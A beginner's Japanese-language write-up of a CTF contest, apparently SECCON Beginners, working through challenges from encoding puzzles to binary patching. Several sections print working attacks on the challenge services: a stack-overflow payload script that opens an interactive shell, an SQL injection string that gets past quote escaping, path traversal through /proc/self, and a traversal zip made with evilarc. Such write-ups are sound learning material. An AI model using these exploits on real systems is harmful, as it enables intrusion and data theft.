writeup というのが何なのかよくわかってないですが、それっぽいのを書いてみます。CTF 歴は 2018 年の ctf4b 以来 2 回目です。
Welcome
Discord に貼られた Flag を入れるだけ。
Spy
リストにある名前を適当に入れてみると、一瞬でレスポンスが返る時もあれば 1 秒ぐらいかかる時もある。 1 秒かかるやつ(たぶん暗号化とかで時間かかってそう)をあつめてチェックいれればよし。
R&B
頭に R がついてたら ROT13 の逆、頭に B がついてたら Base64 の Decode をすればよし。Python 久々に書く上に Python3 は初だったので bytes と str の型変換でとまどった。
import base64
flag = b'BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=='
def b64decode(s):
return base64.b64decode(s)
def rrot13(s):
def f(x):
ch = x
if ord('a') <= ch and ch <= ord('z'):
ch = ch - 13
if ch < ord('a'):
ch += ord('z') - ord('a')+1
elif ord('A') <= ch and ch <= ord('Z'):
ch = ch - 13
if ch < ord('A'):
ch += ord('Z') - ord('A')+1
return ch
return bytes([f(x) for x in s])
while True:
print(flag, flag[0])
if flag[0] == ord(b'B'):
flag = b64decode(flag[1:])
elif flag[0] == ord(b'R'):
flag = rrot13(flag[1:])
else:
print("unkwno")
exit()
mask
Ghidra で逆アセンブルしたところ、2 つのビットマスクに対して FLAG を 1 文字ずつ AND をとって、結果がそれぞれ期待した文字列になるかをチェックしていた。 2 つのビットマスクの情報を合わせたら元の FLAG を復元できるので、復元する。
package main
import (
"fmt"
)
func main() {
k1 := "atd4`qdedtUpetepqeUdaaeUeaqau"
k2 := "c`b bk`kj`KbababcaKbacaKiacki"
m1 := byte(0x75)
m2 := byte(0xeb)
for i := 0; i < len(k1); i++ {
var b byte
b = (k1[i] & m1) | (k2[i] & m2)
fmt.Printf("%c", b)
}
}
Beginner’s Stack
適当に埋めてったらRSP is misaligned!
って言われた。 どうすればいいのかよくわからんかったけど、飛ばす先の関数アドレスを+1 したら大丈夫だった(よくわからん…)。
from socket import *
from struct import *
from time import sleep
from telnetlib import Telnet
s = socket(AF_INET, SOCK_STREAM)
s.connect(("bs.quals.beginners.seccon.jp", 9001))
s.send(b'\x00\x00\x00\x00\x00\x00\x00\x00'*5+b'\x62\x08\x40\x00\x00\x00\x00\x00\x00')
t = Telnet()
t.sock = s
t.interact()
ググったところ telnetlib というのを使っている方がいたので真似した。 Python は標準ライブラリが豊富ですごいなあとおもいました。
readme
/
からのパスであること、ctf
という文字列を含まないことという制約がある。 最初エスケープシーケンスとかでがんばれば回避できるかと思って試したけどうまくいかなかった。 その後、/proc/self/cwd
経由の相対パスならいけることがわかった。 カレントディレクトリは/proc/self/environ
の PWD から取れる。
emoemoencode
Flag のフォーマット的にctf{xxx}
なので、最初の文字が c に相当するとしてシーザー復号すればよし。
s = "🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽"
ss = ""
for c in s:
d = ord(c)-127843+ord('c')
print(ord(c), chr(d))
ss += chr(d)
print(ss)
Tweetstore
'
を\'
とエンコードしているが、\'
を入力すれば\\'
になるのでシングルクオートを閉じることができる。 あとはコメントで後続のクエリを無視して、\' UNION select user, user, now() --
を search word に入れれば解ける。
unzip
https://github.com/ptoomey3/evilarc これで directory traversal な zip をつくったらいけた。
python evilarc.py flag.txt --depth 7 --os unix
sneaky
Ghidra で逆アセンブルしたところ、ソースが複雑でよくわからなかった。 適当にぽちぽち見てたらちょうど GAMEOVER 出力してるっぽいところがあって、 その近辺で 10000 という定数と比較しているコードがあった。 10000 がハイスコア閾値なんじゃ…と思い、バイナリエディタで実行ファイルを書き換えて 0 にしてみる。 10000(0x0f27)が出てくるところは 4 箇所あって、1 個だけ書き換えるだとだめで、全部書き換えたところアイテムを 1 個取るだけで OK になった。